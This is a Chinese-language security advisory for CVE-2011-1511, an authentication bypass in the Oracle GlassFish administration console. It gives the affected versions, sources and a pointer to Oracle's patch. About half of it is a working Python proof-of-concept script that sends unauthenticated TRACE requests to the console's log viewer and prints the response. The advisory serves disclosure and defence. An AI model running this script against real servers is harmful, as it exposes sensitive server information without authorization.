Oracle GlassFish Server Administration Console远程身份验证绕过漏洞

受影响系统:

Oracle Sun Glassfish Enterprise Server 2.1.1
Oracle Oracle GlassFish Server 3.0.1

描述:


BUGTRAQ  ID: 47818
CVE ID: CVE-2011-1511

Sun GlassFish 产品组合是功能最全、成本效益最高的开放性Web应用程序平台。

Oracle GlassFish Server Administration Console在实现上存在远程身份验证绕过漏洞,攻击者可利用此漏洞绕过身份验证并执行未授权操作。

默认在TCP端口4848上监听的管理控制台存在身份验证绕过漏洞,通过发送恶意TRACE请求,远程攻击者可不经认证获取服务器上的敏感信息。

<*来源:CoreLabs (http://www.coresecurity.com/corelabs/)
  
  链接:http://marc.info/?l=bugtraq&m=130521538432755&w=2
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

import sys
import httplib

def make_trace_request(host, port, selector):

    print ‘[*] TRACE request: %s’ % selector
    headers = { ‘User-Agent’: ‘Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0)’,
                ‘Host’: ‘%s:%s’ % (host, port),
                ‘Accept’:
‘text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8’,
                ‘Accept-Language’: ‘en-us,en;q=0.5’,
                ‘Accept-Charset’: ‘ISO-8859-1,utf-8;q=0.7,*;q=0.7’,
                ‘Accept-Encoding’: ‘gzip,deflate’,
                ‘Connection’: ‘close’,
                ‘Referer’: ‘http://%s:%s%s’ % (host, port, selector)}

    conn = httplib.HTTPConnection(host, port)
    conn.request(‘TRACE’, selector, headers=headers)
    response = conn.getresponse()
    conn.close()

    print response.status, response.reason
    print response.getheaders()
    print response.read()

if len(sys.argv) != 3:
    print "Usage: $ python poc.py <GlassFish_IP>
<GlassFish_Administration_Port>\nE.g:   $ python poc.py 192.168.0.1 4848"
    sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, ‘/common/logViewer/logViewer.jsf’)

建议:


厂商补丁:

Oracle
——
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

发表评论?

0 条评论。

发表评论